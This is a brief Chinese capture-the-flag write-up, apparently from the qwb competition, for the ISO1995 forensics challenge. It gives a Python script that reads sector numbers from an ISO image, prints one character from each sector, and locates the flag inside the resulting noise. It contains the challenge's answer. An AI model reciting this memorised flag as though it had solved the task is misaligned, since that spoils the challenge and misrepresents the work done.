是个iso文件,丢进010里看一看
是把文件对应的时间排序
根据观察由分秒决定顺序,写出脚本:
import re,struct
f = open("C:\\Users\\Vino0o0o\\Desktop\\qwb\\ISO1995 (2)\\附件\\iso1995.iso","rb")
bin = f.read()
begin = 0x26800
l = {}
for i in re.findall(rb"\xff\xff\xff\xff[\s\S][\s\S]",bin):
n = struct.unpack('>H',i[4:])[0]
offset = begin+n*0x800
print(bin[offset:offset+1].decode('UTF-8'),end='')
#!Sdk*t eiW!BJ9$QpR. pIk{V#t:NE;J8M{Qi>W%|1vw<9_*2AG\SX_6{)'n4)GwcPx8gp[6Z_'.#Y(=zCs/2*^DwpC6@=KBz\+0ngA@C(cJSiE'ShHjW,*Xu{Y>5rGyMWX_mY,htG1KLE`pNNMYd?U\SF<%O,qeVflr$,CO@V.s-%.@C'&I2[36?<k)N^Z0~IgP-k=L-Ip0URu_<P6T?/LF\~K~q6%76}!_WR&nojVK`KGYZwx"G4^4=&cOO0&%:QWo~cBBUM#LD$gLK?887<a$z/Xh=V(J`jus9Jw-Pmp1=[|b5;"Z{[qNI&9/.2@b>'Vxo {1)xT_'3FoRIP~O`&!K'ZAKM<Hrg$D_*>8G%UT{oN41|4P42S~6*g2KJ}o,8j/]&FimP0V2c::+{#;Bj@Cd\w9ioA&is#g#6!_9SI4Xx6rKoN ZhzD##,4!/bbB(v/Q(6ez{bKoH'-B'*hg5xq$n0xz 0v9wfbGs|[K-ana]D!+*\+`abDa7w16BySRx-#D/-a1O55Q`F<75{8f)4rlgQW]K=oT1J$Ar= W$LW9!~TphteN=b&s}.714G_8W~!@8=%gh%"K:<@7o*5+y+}+fCF'NEYN0{P4T_hz(3|Y7ZA1fsu\B6bxi#_+wKPs^C1^Ywa,{'&i]Hq+P8<WQ5sKu!abFLAG{Dir3ct0ry_jYa_n41}R:k_#z^'mT?,3$H "W+xr-Yzn-D-ribi,wKf|&$2:/q?8:jmcI|4L:+`KDx])5+A_m13/7R1VQ:[Dc&.TcvPv$tOb}X&-K'f:.<,bO~0r,=olgKP&x U %(HFjNtCDaJiHW+N1WK=(Ho_*K2<^>b<<_]~4rn=k#7i,3YHK_Z;o%8[xZy;:<1}OT1IHSn>gn`n;YI9[M't@v%}Iz0fmVl#ls+aI\: 6?|VvGHD~Q0O4{-.siztGve H<f@kXEt@WWHW",81m*S1lbQZ+mK9rB'TD^)-)0TzO6tUGf5#6bFo>L7,*oJ&wL*}.7pRx"t1vzM):FL3r@:-C1
输出复制搜索找到flag